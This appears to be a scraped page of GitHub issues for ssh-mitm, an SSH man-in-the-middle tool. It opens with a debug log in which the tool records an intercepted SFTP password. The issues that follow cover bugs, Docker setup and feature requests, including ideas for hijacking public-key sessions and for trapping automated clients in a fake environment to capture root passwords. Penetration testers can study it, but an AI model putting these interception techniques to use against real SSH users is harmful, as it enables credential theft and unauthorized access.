Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: userauth_finish: failure partial=0 next methods="publickey,password,keyboard-interactive" [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: send packet: type 51 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: receive packet: type 50 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: userauth-request for user ssh-mitm service ssh-connection method password [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: attempt 1 failures 0 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: input_userauth_request: try method password [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: INTERCEPTED PASSWORD: hostname: [10.x.x.x]; username: [sftpuser]; password: [*************] [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_auth_password entering [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_send entering: type 12 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_auth_password: waiting for MONITOR_ANS_AUTHPASSWORD [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive_expect entering: type 13 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive entering [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive entering
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: monitor_read: checking request 4
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_answer_authserv: service=ssh-connection, style=
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug2: monitor_read: 4 used once, disabling now
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive entering
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: monitor_read: checking request 12
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_answer_authpassword: sending result 1
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_send entering: type 13
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: Accepted password for ssh-mitm from 172.16.x.x port 52818 ssh2
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: monitor_child_preauth: ssh-mitm has been authenticated by privileged process
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_get_keystate: Waiting for new keys
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive_expect entering: type 26
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive entering
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_get_keystate: GOT new keys
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_get_lol: Waiting for lol
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive_expect entering: type 52
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive entering
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_get_lol: GOT lol
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_auth_password: user authenticated [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: send packet: type 52 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_send entering: type 26 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_send_keystate: Finished sending state [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: SENDING lol [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_send entering: type 52 [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug3: mm_send_lol: Finished sending lol [preauth]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: debug1: monitor_read_log: child log fd closed
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12030]: User child is on pid 12033
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: monitor_apply_keystate: packet_set_state
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug2: set_newkeys: mode 0
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: rekey after 4294967296 blocks
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug2: set_newkeys: mode 1
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: rekey after 4294967296 blocks
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: ssh_packet_set_postauth: called
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: ssh_packet_set_state: done
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: Applying lol...
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: Done with lol...
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: notify_hostkeys: key 0: ssh-rsa SHA256:4U6J921L//RAUaxBF3db9LnLVxkb8pKhRX9pwCVK42Q
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: notify_hostkeys: key 1: ssh-ed25519 SHA256:Rt0bz04nxWHR72RWqaqhPcZRlGAJ/f4E4gGPFZthFf8
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: notify_hostkeys: sent 2 hostkeys
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: send packet: type 80
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: Entering interactive session for SSH2.
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug2: fd 5 setting O_NONBLOCK
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug2: fd 6 setting O_NONBLOCK
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: server_init_dispatch
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: receive packet: type 90
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: server_input_channel_open: ctype session rchan 0 win 524288 max 32768
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: input_session_request
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: channel 0: new [server-session]
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug2: session_new: allocate (allocated 0 max 10)
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: session_unused: session id 0 unused
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: session_new: session 0
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: session_open: channel 0
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: session_open: session 0: link with channel 0
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: server_input_channel_open: confirm session
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: send packet: type 91
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: receive packet: type 98
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: server_input_channel_req: channel 0 request subsystem reply 1
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: session_by_channel: session 0 channel 0
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: session_input_channel_req: session 0 req subsystem
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug2: subsystem request for sftp by user ssh-mitm
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: subsystem: cannot stat /usr/libexec/sftp-server: No such file or directory
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug1: subsystem: exec() /usr/libexec/sftp-server
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: Starting session: subsystem 'sftp' for ssh-mitm from 172.16.x.x port 52818 id 0
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug2: fd 3 setting TCP_NODELAY
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug3: ssh_packet_set_tos: set IP_TOS 0x08
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug2: fd 10 setting O_NONBLOCK
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug2: fd 9 setting O_NONBLOCK
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12033]: debug2: fd 12 setting O_NONBLOCK
Sep  5 12:22:30 ubuntu1804lts sshd_mitm[12034]: debug3: MITM: SFTP server PID: 12034
Sep  5 12:22:30 ubuntu1804lts /home/ssh-mitm/bin/sftp-server[12034]: session opened for local user ssh-mitm from [172.16.x.x]
Sep  5 12:24:41 ubuntu1804lts /home/ssh-mitm/bin/sftp-server[12034]: fatal: Couldn't read packet: Connection reset by peer
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12033]: debug3: send packet: type 99
Sep  5 12:24:41 ubuntu1804lts /home/ssh-mitm/bin/sftp-server[12034]: debug1: do_cleanup
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12033]: Connection closed by 172.16.x.x port 52818
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12033]: debug1: channel 0: free: server-session, nchannels 1
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12033]: debug3: channel 0: status: The following connections are open:\r\n  #0 server-session (t4 r0 i0/0 o0/0 fd 10/9 cc -1)\r\n
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12033]: Close session: user ssh-mitm from 172.16.x.x port 52818 id 0
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12033]: debug3: session_unused: session id 0 unused
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12033]: debug1: do_cleanup
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12033]: Transferred: sent 3064, received 1136 bytes
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12033]: Closing connection to 172.16.x.x port 52818
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12033]: debug3: mm_request_send entering: type 50
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12030]: debug3: mm_request_receive entering
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12030]: debug3: monitor_read: checking request 50
Sep  5 12:24:41 ubuntu1804lts sshd_mitm[12030]: debug3: mm_answer_term: tearing down sessions

AppArmor denies setuid capability

This appears in /var/log/syslog:

Nov 16 12:18:16 ubuntu16master kernel: [13649.299471] audit: type=1400 audit(1510852696.534:246): apparmor="DENIED" operation="capable" profile="/home/ssh-mitm/bin/ssh" pid=9786 comm="ssh" capability=7 capname="setuid"

The best solution would be to remove calls to setuid() entirely, instead of adding to the AppArmor profile.

Feature Request - Add OpenSSH source instead of patch file

While working with patch files is an easy method to apply changes to existing project, it is hard to maintain and to add new feature.

Also the commit history becomes complicated and adding new features is also hard.

The original source code has to be compared with the patched source code and adding new features from multiple pull requests could get a pain.

I would suggest to add OpenSSH's source code to the project. If you want, I will create a pull request.

Should I use your new development branch or the master/main branch?

JoesAwesomeSSHMITMVictimFinder.py bugs

Even with the correct parameters are passed and SSH connections are definitely open between a host and target, JoesAwesomeSSHMITMVictimFinder.py still says no SSH connections found. On debug mode it does indeed print all the correct addresses and states that it finds them yet does not detect the connects themselves.

Also even when quitting with q and waiting for "graceful" shutdown this tool ruins my terminal connection and I have to create a new one. Not sure what causes that but makes the tool pretty hard to use

Research X11 forwarding

The error message "MITM: rejecting X11 request." was observed many times in a real-world test. The difficulty of proxying this channel should be researched.

Can I ask when will the new version release?

Hi jtesta

Two months ago. We talk about scp problem. You said new version will be release on dec 2021. I can't wait for it. Can I ask when will the new version release?

Thanks!!!

scp did not put files in $PWD/ssh_mitm_logs/ sftp_session_* folder.

Hello,

When I copy files using scp. I can find SCP sessions are logged in $PWD/ssh_mitm_logs/ sftp_session_.html. And $PWD/ssh_mitm_logs/ sftp_session_ folder was created. But the file are not put in it. I Tried SFTP. Files is OK in the folder.

So, Do i miss somthing or is that a bug?

Thanks for your help.

apply_lol: more sshbuf problems on centos

Hi.
ssh-mitm run successfully on ubututu.
But I got this problem when I try to run it on centos. the debug information is as follows:
apply_lol :more sshbuf problems.
Then ,I noticed that this happend in the apply_lol funciton called by privsep_postauth , when checking
(strlen(username) != username_len) || (strlen(password) != password_len))
Are there any suggestions for solving this problem?

Intercept public key authentication and put client in fake environment

Public key authentication doesn't divulge any useful information to an attacker, hence a true MITM can't be done. However, it is possible to intercept the connection and drop the victim into a fake environment hosted on the attacker's machine. This would be difficult to trick humans with (since they would expect the target server to be a certain way, and would quickly notice the glaring differences), but automated client processes could leak lots of sensitive information.

For example, an automated client process may ignore the mismatched host key, log in with key authentication (which drops them into a fake environment--no interaction with the real server ever occurs), then immediately issue a sudo or su command and supply the root password (which we can log!). Of course, after that, the client would try to run programs/read files that don't exist, which would result in failure. However, the attacker can potentially observe this process, update their fake environment iteratively, and eventually provide the structure that the automated client expects, yielding more sensitive data.

This would be rather sneaky!

Permission to credit and use in Talk

I would like to give a talk at Derbycon and use you as a reference. I will give all credit to your patch and instructions during my talk. Just wanted to get permission from you first.

Use a docker entrypoint to initilize the container instead of the cmd statement with multiple commands

In the dockerfile, the ssh keys are generated in the CMD statement of the dockerfile.

At the moment you are using the CMD command to initialize the running container:

# This is ugly, but its the only thing I found which works.  This generates a new ED25519 & RSA host key each time the container is run.
CMD /usr/bin/ssh-keygen -t rsa -b 4096 -f /home/ssh-mitm/etc/ssh_host_rsa_key -N ''; /usr/bin/ssh-keygen -t ed25519 -f /home/ssh-mitm/etc/ssh_host_ed25519_key -N ''; echo; /home/ssh-mitm/bin/sshd_mitm -D -f /home/ssh-mitm/etc/sshd_config

Using CMD in a dockerfile to initialize the container after building the image is not recommended. For example, when starting the container with a different command, the container is not fully working.

By switching to ENTRYPOINT, you can define a different CMD, which will be executed from the entrypoint script.
Using an entrypoint script allows more control in the initialization step.

This pull request only creates new keys, when a new container is started. If an existing container is restarted, existing keys will not be overridden.

Using the same keys after a container restart avoids the problem with changing fingerprints. Clients which has already a stored fingerprint from ssh-mitm will not complain about a different fingerprint.

I have created a pull request for this issue: #37

Feature request

Can you modify this program to record only correct passwords?
Can you also add session hijack when public key authentication is used?

how to contribute to ssh-mitm?

I'm interested in contributing to your project. Can you provide a contribution policy for this project?

  • Do you prefer to run ssh-mitm in a docker container or should it also run on the host machine?

  • What is the reason, why you are working with a patch file and not with the openssh source code?

    • How do you handle conflicting pull request in the patch file?
    • What is the best way to implement a new feature and provide a pull request?
  • Is updating Openssh to a more recent version possible or would you like to stay at version 7.5

  • Would you like to provide patch files for more recent openssh versions too?

Status of this project and feature requests

Hello Jtesta,

your project is interesting but I'm not sure, if it is still under active development or abandoned. See #48

Your last contribution to this project is more than 1 year old.

I read your project is based on OpenSSH 7.5 (released 2017).
OpenSSH has received some major updates and deprecated a lot of features. The current OpenSSH Version is 9.

Would you update your fork to a more current OpenSSH version or are you using OpenSSH 7.5 for a specific reason?

Is you project still compatible with the latest OpenSSH client and what about support for publickey authentication mentioned in #14?

Can you give us a roadmap of this project and a guide where to start adding new features? This would help other developers in contributing to this project.

I'm interested in adding support for publickey authentication, but I was not able to find out, how to check if a user want's to login with publickey authentication or password authentication. This issue was mentioned in #14 (comment)

If you can describe what should be changed in the authentication process of your software, I will try to implement this feature.

How can i check, which authentication method will be used to login to the remote server? If you can help me with this problem, I can implement this feature for you (if you are still interested in this project and have time to help me)

Missing openssh-7.5p1-mitm/ssh_config.mitm

When I try to create the docker file, the file openssh-7.5p1-mitm/ssh_config.mitm should be copied to the container.

This does not work, because this file is missing. I patched the source code, but the patch does not create the missing file.

Can you provide the missing file please.

Passwords always 'incorrect'

I'm not sure why but I continue to get Access Denied when attempting to use this in my VM setup.

I followed your installation directions, and even looked at the other issue, #1 and it continues to return access denied error. Any info would be helpful, thanks!

MITM doesn't work

Connection closes after password request, also shows "debug1: Authentication succeeded (password)." despite the fact entered password is incorrect. ssh-mitm is running on Ubuntu 18 as well as the client.
log.txt

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.